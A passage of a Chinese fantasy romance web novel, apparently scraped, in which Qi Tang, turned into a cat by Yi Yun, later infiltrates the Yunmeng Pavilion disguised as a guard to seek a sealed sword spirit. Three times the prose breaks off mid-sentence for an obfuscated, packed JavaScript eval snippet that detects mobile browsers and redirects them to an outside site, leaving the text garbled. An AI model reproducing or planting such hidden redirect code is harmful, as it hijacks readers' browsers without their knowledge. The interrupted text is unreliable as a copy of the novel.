润青得意地弯起眼睛,执起茶杯敬众人道:“在下也有要事需先行离开,多谢诸位关照,有缘再会!” 鲛人入海,游速快至残影。 他随手丢下一枚传信鲛珠,鲛珠宛如识途的信鸽朝着一个方向飞速旋去。 那里面封存着这样一道声音—— “遇如渊剑,剑气复苏,业已认主,吾特此请离大泽,至紫府州。” …… 易昀捏鲛珠捏得好好的,突然又不开心了。 漆瑭连忙举起爪子捂住自己的胡须,生怕再被他揪。 谁能想到,从前他变成猫时,她揪了他的胡须一下……他竟然记仇记到现在。 所以将她变成猫后,他第一个动作,就是抬手拽了拽她脸颊两侧长长的猫胡须。 然后他捏着猫的后脖颈,将她提起来,提到眼前端详半晌。 “把我变回去!”猫呲牙。 他不说话,伸出食指点点猫头。 “求你啦!”漆瑭决定先怀柔。 他仍不说话,弯起手指勾了勾猫下巴。 “我警告你!”怀柔没用,猫亮出了爪子。 他继续不说话,捏了捏猫爪软垫,突然扯开前襟,将猫整个塞了进去。 团成一团的猫缩在他胸口前,只露出一只猫头。 漆瑭整个人都不好了! 她突然理解了那日易昀变成猫后,被她乱摸为什么如此生气了……猫的触感就是她的触感,仿佛全身上下一丝不着,蜷缩在他怀里。 他的体温比她要低,却又算不上冷,像夏天制冷仪吹出的凉风,扑在人出着汗的毛孔上;他身上那股草木香气充斥鼻腔,漆瑭很想大口大口嗅闻;他的心跳急促而有力,一下一下敲着她…… 往常易昀要去什么地方,都是缩地成寸尽可能的缩短时间。但这次,也许是因为紫府州修行之风盛行,各地防护大阵众多,未免引起注意不得不绕路避开,他走得有些慢了。 足有一个时辰才到达目的地。 这一路上,他脑子里只有一个念头—— 原来猫是这么可爱的东西吗,他从前怎么从未发现? 落了地,他将猫从怀里拎了出来。 只见那双本就圆溜溜的猫眼里满是眼泪,分明没有表情,却看得出委屈至极。 她说:“你这样对我,我讨厌你。” 易昀的脑袋里嗡一声,表情一僵,这才茫然而迟疑地重复:“讨厌……我?” 34. 雾城 云梦城。 城门外,聚集着形形色色想要入城的人。他们排成了一条长长的队伍,犹如蜿蜒的长龙。城门下,有守城的修士挨个查验他们手中的通行令,确保真实才允许入城。 人们各有各的忙碌,没有人能看到,就在队伍的一侧忽然凭空出现了一抹黑色人影。他弓起脊背,看上去极为痛苦地捂住了胃部。 此时天色将黑未黑,世界陷入一片死寂的蓝。 易昀那张苍白的脸,此时一丝笑意也没有。他没有焦距的目光落在城门上,眸中宛如一潭死水。 脑海中反反复复闪过漆瑭的那双泪眼,和那一句“我讨厌你”。 讨厌……他? 讨厌他。 压抑着胃痉挛的痛苦,易昀的手克制不住地微微颤抖,他几乎能感受到心脏瓣膜一伸一缩摩擦的滞涩感,枝枝蔓蔓的痛楚将整颗心淹没。 天彻底黑了。 他这才缓过神来似的,挪动有些僵硬的身躯,如入无人之境般往城里走去。 然而穿过城门的那瞬间,无形的强大护城法阵水波纹似的轻晃,那法阵拦不住他,却避免不了惊动了法阵的主人。 仅过了片刻,眼前出现了一个模糊的人影,渐渐变得清晰。 来者身着一袭桃花色长袍,手中纤薄的洒金扇“啪”地收起,“啧啧”两声道:“瞧这是谁,贵客迎门也不给小生知会一声……易昀,这么多年不见,你过得可好?” 说完,他“嗬嗬”地笑了起来,神情颇有些疯狂。 易昀挥手将这处空间隔绝出来,二话不说出手便是杀招。粉衣人战意被激起,兴致昂扬地挥扇接招。 然而不出五招,粉衣人负伤,他立马哀哀地叫停。 可易昀并不理会,仿佛找到了发泄的途径一般,出手招招狠辣,下的皆是死手,誓要将对方置于死地。 他再出一击,握手成爪直冲对方咽喉。 “铮——” 一柄长剑突兀出现,接下这招。 与此同时,粉衣人的身后出现了一个头戴青铜面罩的人,那剑柄就握在她的手里。 属于强者的威压不遗余力地铺开,像野兽角斗前的凶猛示威。 易昀面不改色,反手便要再攻。 青铜面沉声道:“冥主且慢!” 易昀懒得废话,黑气暴涨,杀招已然出手。 青铜面挥剑抵挡,剑招蕴含法诀,灵气化作风暴,一片华光四溢。在对决的间隙里,她匆忙劝道:“此乃人间界,众所周知您在此处无法召唤鬼将。你我相争,必定两败俱伤!我本意只是护住故人之子,是您不分青红皂白,上来就要取人性命!” “是又如何?你会比我先死。” 青铜面道:“少主若亡,我亦绝不独活。若是您执意取人性命,那我唯有以命相搏,拼个鱼死网破!” 易昀停下手。 这片小天地里的风暴戛然而止。 因为他忽然想到,他与某个人“伤痛共享”。 不能负伤,不能痛。 不能再让她……讨厌他了。 青铜面也停下手,浑身紧绷警惕他会不会骤然发难。 那粉衣人连滚带爬从地上一跃而起,擦干净嘴角的血痕,不怕死地凑上来,“瞧你这疯狗,不是见人就咬吗?怎么停了,什么东西还能拴住你?” 他神情癫狂,语气挑衅。 青铜面只觉得额角青筋突突地跳,反手扇了他一巴掌,扇得宫少闻两个眼珠子滚了两圈,神情呆滞了片刻。 然后青铜面抱拳道:“抱歉冥主,少闻有失分寸,想来是方才摔坏了脑子,还望冥主大人大量,莫要与他一般见识。今日之事,实乃误会一场,我等无意与冥主为敌。” 宫少闻被这一巴掌打得有些懵,缓过神来后,满脸怒色,刚要发作,却被青铜面一个眼神制止。他咬咬牙,虽心有不甘,但也明白此时不宜再激怒对方。 易昀终于正眼打量了宫少闻一番,问道:“你是什么东西?” “哈?!”宫少闻先是发怒,转而想到了什么,手里沾了血的洒金扇“啪”得挥开,遮住了唇角诡异的笑,“你不记得我了?想来也是,冥主日理万机,怎么会记得我这个……千年前的小小同窗呢?” 易昀凝固的眼神微动,但他确实没有半点印象。 “莫非……别的同窗,冥主也记不得了?”他收起扇子,哈哈大笑。 青铜面见状不妙,转移话题道:“不知冥主远来所为何事,您只要提要求,我等必妥善安排,包您满意。” 易昀不知道宫少闻在打什么哑谜,自然也不在乎,他扭头睨着青铜面说:“城内有恶蜮。” ** 客栈最奢华的包间,是带着小院的独立厢房。 有小厮轻叩院门,搁下一提吃食,便静悄悄退了下去。 没一会,一只绿油油的小树精探头探脑地推开一条门缝,将那篮吃食提了进去。 屋内空空荡荡,唯有窗前软榻上,卧着一只懒洋洋晒太阳的猫。 突然,猫激动地睁大眼睛,浑身的猫毛耸动起来。 刷一下,变作人形。 漆瑭险些流出泪来!两天了,易昀把她自己丢在这里两天了,她终于学明白了高阶化形术! 两天前,易昀被她“讨厌”了之后,脸色突然变得很难看。留下一句“化形术三日后自然解除”,把她扔在屋里就逃了。 他走后的第一日,漆瑭信了他的鬼话,让树精小绿喂她,用猫嘴艰难地吃了三餐。 当夜入睡时,漆瑭猛然顿悟:自己怎么变得这么相信他?他说自然解除,她就不去想办法提前解开了吗?! 于是她开始翻找识海里的修行书,终于,找到一页化形术。苦苦打坐一整日,叫她从初阶到高阶学了个透,才终于解开。 她兴高采烈地跳下榻,踮着脚原地转了一圈,捞起树精在怀里揉了揉,把它揉成了红色的。 这才坐在桌前饱餐一顿。 郁闷了两日,也在屋里憋了两日,漆瑭活动活动筋骨,揣上小绿便往外走。 她暂时不打算解开易昀设下的匿声隐形诀,就这样当个隐形人在城里逛逛挺好的。 走出客栈,她扭头看向门前牌匾。 ——福来客栈,雾城店。 这个地方叫雾城? 漆瑭一路上兜兜转转逛到城南集市,被那沸反盈天的热闹声吸引了注意。 集市上并没什么新鲜玩意,与之前落马城的那个集市没太大差别,总的来说,都是为了满足普通百姓的日常需求。 漆瑭百无聊赖地从头逛到尾,就在她打算离开时,忽然瞧见一个奇怪的摊子。 小木桌露天摆着,后面一左一右坐着两人。衣着锦绣,神态也是滋润富态,看上去非富即贵。 木桌前的地上,席地或跪或坐共计二十余人,有男有女,有老有少。无论衣着考究还是朴素,都收拾得整洁板正,看上去态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14009697|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都很端正。 隔着老远,漆瑭就能听见那一片七嘴八舌的激烈争论声。 一女子道:“我认为任务的完成不应该建立在损害他人利益的基础上,如果必须牺牲无辜,那么这个任务本身可能就存在问题。” “你错了!你忘记假设的前提是‘弱肉强食’的世界吗?如果我们不采取强硬手段,就会被淘汰。所谓的道德和仁慈,在绝对的实力面前一文不值。” “没错,有时候为了大局考虑,一些小的牺牲是不可避免的。” “我倒是赞同她说的,如果我们为了成功不择手段,那么我们与禽兽有何区别?” …… 漆瑭仗着匿声隐形诀在身,凑在这群人身边听得津津有味,慢慢也梳理出头绪了,这个场景让她想到了上辈子经历过的某种面试形式——群面。 面试官会给出一个场景假设和具体问题,让面试者们自由发言,各抒己见。而面试官则暗中观察所有人的表现,从中挑选出最符合要求的那位。 面前的这场“群面”,似乎是假定在一个弱肉强食的独立世界,让各位讨论“为保证某任务顺利完成,可能要对某个村落进行一定的‘牺牲’,你该如果权衡利弊作出决定?” 漆瑭想不出,到底要筛选出什么样的人,去做什么事,才会提出如此尖锐的问题。 几乎每个人都慷慨激昂地参与到讨论,争相展示自己。在一片“动”中,“不动”便显得格外惹眼。 那是一位老者。 盘膝坐在人群最后,坐姿称不上笔挺,甚至有几分懒散,骨子里都透着一股无所谓的淡然。 就在漆瑭打量他的时候,老者忽然回头,目光分毫不差地落在漆瑭身上。 仿佛在说—— 我看到你了。 漆瑭心里一惊,她身上的匿声隐形诀可是易昀设下的,还从未被谁看穿过……若这老者当真看破了,那他究竟是什么来头? 她露出一个无意打扰的乖巧笑脸,而后小心翼翼地后退两步,表示自己要识相离开了。 然而耳边忽然听见一句话—— “姑娘,你身上有影踪印记,你可知道?” 老者用的是传音,除了二人,旁人是听不到的。 漆瑭眯了眯眼睛,不动声色地从乾坤袋里摸出两张问易昀讨要的符纸,攥在手心。 然后回道:“我知道,多谢提醒。出于好奇打扰您了,我这就走。” “且慢。”老者的声音扬了起来,“你最近是否得了一把剑?此剑肯定损毁大半,器脉寸断。” 漆瑭再次一惊,他说的莫非是那把锈剑?这人莫非和陈也悠一样,都是卜卦的? 她沉声道:“是又如何?” 老者大笑几声,似乎很兴奋,“你可知这是什么剑?不不,我还是好奇,你这丫头究竟是什么人,你这剑又是从何得来?” “也许您认错剑了,我这把几位普通,就是一破铜烂铁罢了。我还有要事,恕我不能陪您聊了,告辞。” “哎哎且慢且慢啊!”老者急促道:“怎么这么沉不住气……我说,这剑名为如渊,是劈过天门的剑!” 他话说一半,似乎笃定了漆瑭会好奇追问。 然而漆瑭“哦”了一声,“多谢告知。”就心静如水地转身要走。 老者这下真有些着急,也不装神弄鬼了,直接抖擞出重点:“你这样是修不好如渊剑的,器脉通了,剑灵却不在呀!我知道剑灵在哪!” 35. 潜入 “你来,叫他们选中你。” 漆瑭警惕:“我凭什么相信你。” 老者分毫未动,竟然隔空摘下了漆瑭身上的影踪印记,将其丢到了不远处一棵老槐树上。然后挺直了腰板,做出一个仙风道骨的背影,像是在说“这招厉害否,这下看你信不信”。 不得不承认,此人能如此云淡风轻地转移易昀留下的影踪印记,足见实力。 漆瑭觉得自己跑不掉,那只能上了,不过—— “那影踪印记于我有用,能不能还给我?” 老者的背影僵硬了一下,结结巴巴道:“这……这……不可逆,你晓得吧?” 漆瑭:“……” 罢了,虽然没有影踪印记在身,易昀不能时刻察觉她的位置变动,但若有危机,他仍能催动心契找到她。 “行,我的确感兴趣,不过你得告诉我,他们究竟要选什么样的人?” 漆瑭听到耳边传来这样一句话—— “你可听说过,天门教?” …… 木桌后锦衣华袍的女子,百无聊赖地转着手里的念珠。她打了个呵欠,眯缝着眼扫过地上的每一个人,眼底漾出轻蔑。 这一批不成,没有好苗子。 她不耐地将念珠串从左手甩到右手,准备喊停,就在这时,人群外忽然走来了一个女子。 鲛纱长裙交襟于前胸,丝滑柔顺,走起路来裙摆甚至勾勒出风的形状。她挽着复古繁复的流云髻,上面仅点缀着一支玉簪。不施粉黛,眉目清丽,浅笑着凑到近前。 她说:“我倒是觉得你们想得太复杂了,既然身负任务,那究竟要怎么做,还得问上面啊!咱们最该做的,不是越俎代庖思索怎么解决,而是毫无保留地全盘托出并执行指令。” 有人嗤笑,“你这家伙半途插嘴,其实还没搞明白问题为何……” 然而他话说一半,就被念珠串甩到桌上的刺耳声打断了。 桌后的女子说:“行,就你了,过来登记。” …… 那场“面试”只是第一关,过了之后还有面对面的问答筛选环节。 漆瑭根据老者变幻在她袖袋里的记录石,登记了自己的新身份——云梦城人士,姓沈名玉,商人世家,一年前被仇家灭门,只有游学在外的她逃过一劫,遂隐姓埋名藏匿于雾城。 “云梦城到底还是我的家,若是能有幸得到云梦阁庇护,我也就不必像老鼠似的躲躲藏藏、漂泊异乡。” ——据老者所说,天门教如今改名为圣山教,暗中操控云梦城的势力集团云梦阁。 “行吧。”女子倨傲地点点头,“你看起来也不急着回家,漂泊在外还能混上鲛纱穿,过得很好?” 漆瑭很淡定:“这其实是我离家后压箱底的衣裳了,为了今日遴选,特意好好装扮了一身。” 女子呵呵一笑,转而冷下表情:“你唬我呢?鲛纱固然珍贵,但我也是见过的……你说你离家一年,那最起码这鲛纱上得有个年晕吧,什么也没有,清润明透,分明是才从鲛人窝里打出来不久的。” 这里头的门道漆瑭也是第一次听说,但她丝毫不慌,想了想,笑道:“是,还是您慧眼识珠,这鲛纱如此珍贵,留在我这不识货的俗人这里确实暴餮天物。倒不知您可愿屈尊收下?” “你倒是个懂事的。”女子这才露出一个笑,“行了,换上金蝉卫服,随我们走吧,记住了,别乱说话。” ** 云梦城与雾城毗邻,漆瑭随那女子坐上风灵马车,拐出雾城后再穿越一小片原野,不消一会就进了云梦城。 漆瑭低眉顺眼地看着发到她手里的“小册子”,字字句句都拐弯抹角地描述云梦阁势力之大,在云梦城是说一不二的存在,由金蝉卫负责维护城内治安。 可是,半个字也没提到老者口中的“圣山教”。 也许是因为她现在还只是个新员工,边缘人员,还不能接触到云梦阁的核心。 但也有可能,是老者诓骗她……漆瑭从不吝啬于把人往最坏的方面想。 老者说如渊剑的剑灵被封印在了剑鞘里,沉睡千年,而那剑鞘就在云梦阁里——在金蝉像的底下。 连所在地都这么精准地指出来了。 她想,可以去探一探。 下车后,漆瑭眨眨眼,有些不敢相信眼前看到的一切—— 满地浮云,浮云如海,不知其深。云海上来来往往各色尖头小船,竟如行驶在水面上一般漫游在云面上。 她跟着女子登上了一艘尖头木船,船身绘着古怪的金蝉纹,与她身上金灿灿的“金蝉卫服”的纹路相同。 木船行在云海中,经行处荡起乳白色的云丝波澜,轻柔、飘渺、好不真实。漆瑭发现,越接近云海,越能感觉到身上循环流动的灵力被抑制。 这是什么鬼东西? 木船最终停在一座金碧辉煌的庞大建筑前,漆瑭跟在女子身后拾阶而上。白玉台阶光滑细腻,漆瑭数了,一共五十五阶。 门的左右两边各立一爿一人高的玉石,左边刻着“不识黄泉酒”,右边刻“枉为轮回客”。大门上方则挂着一个刻着“云梦阁”的牌匾。 这座建筑似乎设了结界,在门外时耳边寂静的只有脚步声,然而一踏入门内,鼎沸的人声与乐声灌入耳中。 比漆瑭逛的城南集市还要闹哄哄。 建筑内部呈“回”字结构,中心掏空,四周供人落座。 仰头看上去,高耸的天花板仿佛直通云霄,最惹眼的是迎面看到的,最中央的一座白玉神像。 怎么看也是一个人,并非什么金蝉像。 莫非老者说的不是这个? 阳光透过天窗洒下,无数鲜艳的丝带从天花板直直垂到地板,伴随着洒落的芬芳花瓣,许多衣袂飘飘的俊男美女以丝带为着力点,轻盈曼舞。 他们手里的酒壶形状奇特,壶嘴细如人指,有半人高那么长。身躯飘来飘去,手里的酒壶信手倾倒,透明的酒液就能分毫不差地落在四面八方、楼上楼下的看客酒杯里。 漆瑭被这堪称奢靡的一幕闪了眼。 在一层的某个房间内进行了正式登记后,女子递给她一个金色面罩:“你挤点血上去,就算正式认领了。” 漆瑭依言照做。 一滴血珠滴在面罩上,那看起来平平无奇甚至还有点土的面罩,忽然亮了一下,戴到她头上后,面罩竟开始萦绕着淡淡的光晕。 女子似乎任务完成,只接引她到这里,换了一个头戴金面罩,身穿金蝉卫服的人接引她。 “行了,认主了,你戴好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14028218|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我来。”声音雌雄莫辨。 漆瑭看着金蝉卫同样萦绕光晕的面罩,试探地说了一句:“是。” 果不其然,也是雌雄莫辨的声音。 这一套装束模糊了每个人的自身特质,使他们更接近于一个冷冰冰的“金蝉卫”符号。 漆瑭被安排在一层大堂的某个角落里——站岗。 “子时,替班,好好干。”金蝉卫说罢,只留了她一人在这。 除了这个角落,大堂里还均匀分布着众多站岗金蝉卫。 事情目前的进展还算顺利,只是……那金蝉像在何处?还有,她该怎么从这里面偷出去? 仔细地扫视目之所及的边边角角,并不存在什么金蝉像,怎么看,这都是一个供人放纵享乐的宴场。 急不得,她现在需要熟悉一下环境,等待时机。 琴瑟之声绕梁,欢呼声、喝彩声此起彼伏,在那攒动的人群里,漆瑭忽然瞥见一个熟悉的身影—— 沈确?! 她没有看错,就是沈确……沈确为何会出现在这里,巧合吗? 少年才从大门走进来,但他显然对这喧闹场合很熟悉。红衣张扬,笑意盈盈,身上没有了昔日在云茴面前那股有些“用力”的傻气,反而显得整个人清爽潇洒不少。 也有些……陌生。 气质变化太大,简直像换了一个人似的。 他脚步轻快地走到边缘处,在桌上信手拈起一只酒杯,举到前方,便有仙子飘来给他斟了一杯酒。 沈确仰头喝尽,隐约听到他赞道:“不愧是黄泉酒,真真是教人醉生梦死的滋味。” 面容俊俏的少年,玩世不恭的话,惹得周围不少女子窃窃笑他。 那挂在丝带上的仙子也笑,弹指飞出一朵红色牡丹,飘到他面前。 少年双手捧下,调笑道:“多谢姐姐赠花,牡丹艳丽无双,当真是好花随主人。” 于是又惹得一片笑声。 人都有两面性,漆瑭并不惊讶于沈确的改变,只是好奇他与云梦阁是不是有什么牵连……毕竟从前,他说过自己是第一次来紫府州,天南地北收破烂、转卖破烂。 也许是她盯着太久了,沈确敏锐地看向她的方向,但他显然发现不了什么,于是搁下酒杯,就在漆瑭的注视下自一旁的木梯走上楼了。 消失了。 漆瑭心里冒出诸多猜测,但她从未想过在摸清楚沈确的底细前,主动表明身份争取合作。 她知道自己要做的事见不得人。 沈确离开后不久,那木梯又下来了几个人。 漆瑭本以为又是这来来往往的客官罢了,熟料竟是四五个金蝉卫。 他们看起来是开道的,下来后分站木梯两侧,等待着身后的大人物。 漆瑭好奇地把目光投过去。 最先跳下来的是一个衣着粉衣的男子,身形格外纤薄,手里摇着一把桃花扇。 然后是—— 易昀?! 他消失了两天,敢情是跑这里来潇洒了?恶蜮不管了吗? 漆瑭在看清他的瞬间匆忙收回目光,生怕他像沈确一样敏锐地捕捉到她的注视。 没必要与他在这里相认吧,她要做的事也没必要叫他参与……还有,她现在莫名的不想叫住他。 36. 含羞 当夜,漆瑭换班后便申请了云梦阁安排的“宿舍”——单间加一个种着枫树的小院子。整体四四方方的,一户挨着一户,像冷冻仪里整齐排列的小格子。 这让漆瑭想到了小时候第一次去老漆头家里,那会老漆头还没换房子,住在他那单人单间的宿舍。 在寸土寸金的联邦,宿舍就是这样的一个四四方方的房间,还没有院子。 十岁的漆瑭已经算半大姑娘了,老漆头为了照顾她,用木板将那间宿舍改造成两半。一半归她,一半归他。 厨具什么的都拆散的七七八八,在他自己本就逼仄的小空间里重组……总之,那时候的生活着实称不上好,活动空间还不如漆瑭在垃圾星上生活的大。 有了小孩要养的老漆头,度过了一段不算短的、很拼命、艰难的日子,漆瑭印象深刻,也是在那时候坚定了她想要活得好的决心。 她要活得好,也要让老漆头活得好。 必须快些,再快些……不能像从前那样…… 漆瑭对漆然的感情很复杂,既有感恩也有怨恨。然而,随着漆然的离世,那些情感渐渐变得模糊不清,仿佛与回忆一道,和漆瑭之间隔着一层毛玻璃。到最后,心里只剩下一个清晰的念头—— 我还没长大,你怎么就死了。 不能再这样了。 …… 漆瑭并没有陷入情绪多久,很快抽离后,她收拾了一下房间,顺便等待着—— “怎么样了?可有进展?” 来了,那个神出鬼没的古怪老者。 他并未现身,只是传音过来。 漆瑭不动声色地环视屋内,确保没有灵气波动后,透过窗户开始观察院子。与此同时,答话道:“那里面随处可见的是金蝉纹,却不见任何一尊金蝉像……你莫不是在唬我?” “我绝无此意!不过那里面竟然没有,不应该啊……” 漆瑭道:“事已至此,我的诚意你也看到了,可是你的诚意呢?你究竟是从何处得来的消息,金蝉像到底是真是假?” “哎呀,保真。”那边沉默了一会,似乎是在思考什么,然后迟疑地问:“那金蝉像应当极为显眼,你进去后,就没看到什么雕像吗?玉的、金的……都没有?” 雕像,确实是有的,也确实极为显眼。但是—— “是有一尊玉像,但那是尊人像,我听他们说,那是如意娘娘的像。” “如意娘娘?”老者重复,似乎是头一次听说这称呼,但他沉默片刻,就知道了什么似的开始为漆瑭解释,“奇也怪哉,此教为了活下去真是不择手段……千年前他们以九色鹿作为图腾,称那是天门里降临的神……现在改成金蝉了,又加了一个混淆视听的‘如意娘娘’。” 漆瑭问:“如意娘娘就是金蝉的代行者吧?那她究竟是个符号,还是活人?” 那边再次陷入沉默,然后解释道:“有时是符号……但现在,是活人。” 这话说得故弄玄机,却又像是他自己也不明白是什么意思,只是在复述。 漆瑭的心里疑窦丛生,沉声道:“你既然转移了我的影踪印记,那就应当看得出下印之人的手段,我有把握现在全身而退,不去趟这趟浑水……所以,你若想与我继续合作,就坦诚些。” 那边叹了一口气,强调道:“好吧,没什么不能说的,只是有两点,一则我保证以下说的话字字保真,没有造假的必要;二则……我的实力,你是见到过的,所以我做的事,都是保真、童叟无欺的。” 漆瑭蹙了下眉头,不明白他又在故弄什么玄虚:“你说吧,我知道了。” “其实……这些呢,是我卜卦而来……” 黑天霹雳,漆瑭的脑袋里嗡的一声。 卜卦……陈也悠……天气都测不准…… 她脱口而出:“这能靠谱吗?”想到方才老者战战兢兢的保证,她把后面涌到喉咙的话咽了回去。 “靠谱,保真,货真价实!我这身本领最值得说道的,就是卜卦之精准了,你若不信,大可随意问我一个问题,且听听准不准。” 话已至此,漆瑭其实已经信了大半,毕竟这人与陈也悠不同,他确实是有实力的,也没有什么必要哄骗她这种水平的人。 那么,如果他卜得准,说明现在她可以借此问一个她最想知道答案的问题。 她自己究竟是什么人? 为何来到这个世界的人是她? 她还能回到以前的世界吗? …… 易昀对她是什么想法? 易昀的心魔只是单纯地拿她当替身吗? 解除心契后他真的会杀了她吗?她能不能成功在此之前逃离,或者,征服他? …… 电光火石之间,脑子里已经滑过无数疑惑了。 但她仔细思索,又觉得,每一个都想知道……但是不知道也行。 简而言之,她没有什么特别、最想知道的问题。 时间会让一切水落石出,而她要做的,就是稳稳当当走好当前的每一步。 于是她说:“不必了,诚意既然到了,我信你。”又问:“既然如此,你就不能卜一下那金蝉像到底在哪吗?” 那边传来一个突然变结巴了的声音:“就在云梦阁,所见即是……所见即是啊,你得好好找找,肯定与那人像有关。那人像上有没有掺杂金蝉像,你可仔细看了?” 漆瑭“唔”了一声,突然抬手一挥,院中的一片枫叶腾空而起,闪电般穿出院门冲向一里外的某只尖头木船,附着在了坐在船上的人身上。 这四周遍布修士,灵力波动堪称杂乱,但她短短几句话间,就能从中准确地筛出他传音的这条线,定位他的位置。 原本的局面是,她在明,他在暗。 可她偏偏在结束之际,将他也揪到了明面上。 船上的人轻笑几声,笑得斗篷都在抖动。随后,斗篷下探出一只手,竟不是初见时那苍老发皱的模样,反而光滑白皙,看得出极为年轻。 他揪下贴在身上的枫叶,捏着纤细的叶柄举在月光下,仰起头细细打量。 “真要强啊。” …… 一阵风过,吹得满树枫叶沙沙摆动,莫名让漆瑭联想到了海里被水流吹成团的海藻,也是这样毛茸茸地摆动。 她收回目光,回榻上去打坐。 果然如此,她想,那老者身上必有古怪。 她在枫叶上施了一道义眼诀,可以在靠近时看到此时此刻老者的模样。 可是这术法被那人拆穿,阻隔了。 若非心虚,为何不让她看? 她猜的没错—— 那人根本就没用真实面目、真实声音示人。 罢了。 至少合作暂时还是真的,只是各取所需而已。 夜已深,风骤然变大,落叶被风卷起。吹出院墙,落在外面的云海里,沉了底,消失不见了。这边叶子落了海,另一边又有叶子被掀起来,一路随着风被吹到城中心占地最大的宅院。 院门紧闭,那里面却闪身出来了一道黑影。 易昀无视各地站夜岗的金蝉卫,一路御风出了城门,然后缩地成寸回到雾城。 院里很黑,屋里也没有点灯。 她睡了吗? 易昀在院里站了一会,风吹过他的袍角,竟显得这孤影有些萧瑟。 脑海里忽然闪过了许多他未曾留意的细节—— 从前他进漆瑭的卧房,随时都是想进就进,毕竟那防护阵是他设下的。 有时她是睡着的,有时是清醒的。她做着自己的事,会在看到他突然出现时惊讶一下。 最惊讶的一次,她晨起换衣服,见他进来几乎是有些惊慌地捞起外裳盖住只着小衣的自己。 他不明所以地上下打量她。 …… 有时候,易昀觉得自己的记忆好得过了头。比如现在,他竟然能想起她惊慌的每个细节。 凌乱的发丝、闪动的眼神、泛了红的脸,手拎着衣服捂在胸前,一截雪白的小腿若隐若现…… 记忆真是牵丝攀藤,让他想到许久前,树精们培育的一种花。 树精们说那叫含羞花,能敏锐地感应触碰者的情绪,如果你戳它的时候觉得它可爱,那它的花朵就会害羞地整个蜷缩起来;如果你只是拿它当个玩意、植物,那么你戳它,它舒展着花瓣,不动如钟。 那时候树精们在他面前还很放肆,怂恿他戳戳看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14044543|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷声斥道:“无趣。” 后来就没见过那种花了。 他忽然觉得,她惊慌的时候,好像那朵会蜷缩的花。 可是她在看清他的目光的时候愣了一下,然后自嘲式地笑笑,紧绷的身体突然放松,自然地开始穿衣。 那时候,她又像舒展的、不动的花。 易昀在想到这的时候,心里莫名的刺疼了一下。 他近乎是茫然地冒出一个念头—— 好像做错了什么。 …… 情绪在最懊悔时戛然而止,理智排山倒海地压过来——或许是真的压过来了。 易昀想,原来心魔不出现,是在暗地里搞小动作。 不知道那卑劣的东西使了什么手段,竟已让他心神不宁两三日才反应过来。 他抬起眼盯着漆黑的窗,眼神莫辨。 刚刚想起来,漆瑭睡觉时似乎喜欢留点光亮,所以—— 他抬袖挥开屋门。 没人。 易昀沉下眼,追着影踪印记到了城南,看着眼前的老槐树和那上面隐约流转光华的印记,沉默片刻,忽然笑了一声。 ** 漆瑭是被疼醒的。 夜里值班到子时,回来后又和那“老者”交锋了小半时辰,她真是困极。 以为再醒来怎么也得日上三竿了,熟料天边边的白光还没跳出来,她就因为心口疼醒了。 半空中,只有她能看到的从胸口延伸出的血线,像风筝线似的微微颤抖。 本来现在就不清醒,更是疼得脑子发懵了。 要想找她,疼一下不就能确认位置了吗……可是疼起来没完,易昀故意的吧。 漆瑭很生气,在心里骂了他几句,四肢大开躺在床上,像一条死鱼。 怎么还不来?易昀是用爬的吗? 直到天色大亮,易昀也没来。 途中心契停止疼痛,但是时不时会突然抽搐疼一下……好像一会想让她疼,一会又不想似的。 漆瑭懒得琢磨他在想什么,闷头睡觉,疼一下,噩梦里的乌龟就用壳砸她一下。 她再次醒来后主动催动心契试图找他,果不其然被他阻隔了。 他只允许自己找她,却不允许她找他。 漆瑭在床边坐了一会,气笑了。 …… 云梦城也是有商街的,就在云海上,尖头木船一艘挨着一艘。 漆瑭在去云梦阁的路上顺便买了小笼包作早饭,卖包子的女人很热情。 “哎呀,好漂亮的姑娘啊,让人瞧了就心生欢喜!姑娘你叫什么名字呀?” 漆瑭在这样善意大方的长辈面前,装乖巧那是信手拈来:“我叫沈玉。” “好名字,美人如玉呀!姑娘你在哪高就呀?” “在云梦阁做金蝉卫。” 女人的笑意止住,霎时由热情变得恭敬,“原来是金蝉卫大人,多有冒犯,多有冒犯。” 难得的好心情遂止。 如漆瑭想的不错,那身金蝉卫的皮子,就是将每个人的特质模糊了,扭曲成一种冷冰冰的符号。 好像蚁群里各司其职的蚂蚁,一模一样、忙忙碌碌,簇拥着蚁后。 而云梦阁的“蚁后”是什么东西呢?如渊剑的剑鞘,又在这里面扮演了什么角色? 漆瑭再次被分到角落值班,不过这次换了一个角,她更方便观察人像的另一侧了。 裙裾的褶皱、纤细结印的手指、慈眉善目但雌雄莫辨的脸……众人口中的“如意神像”上看不到任何金蝉像、金蝉纹。 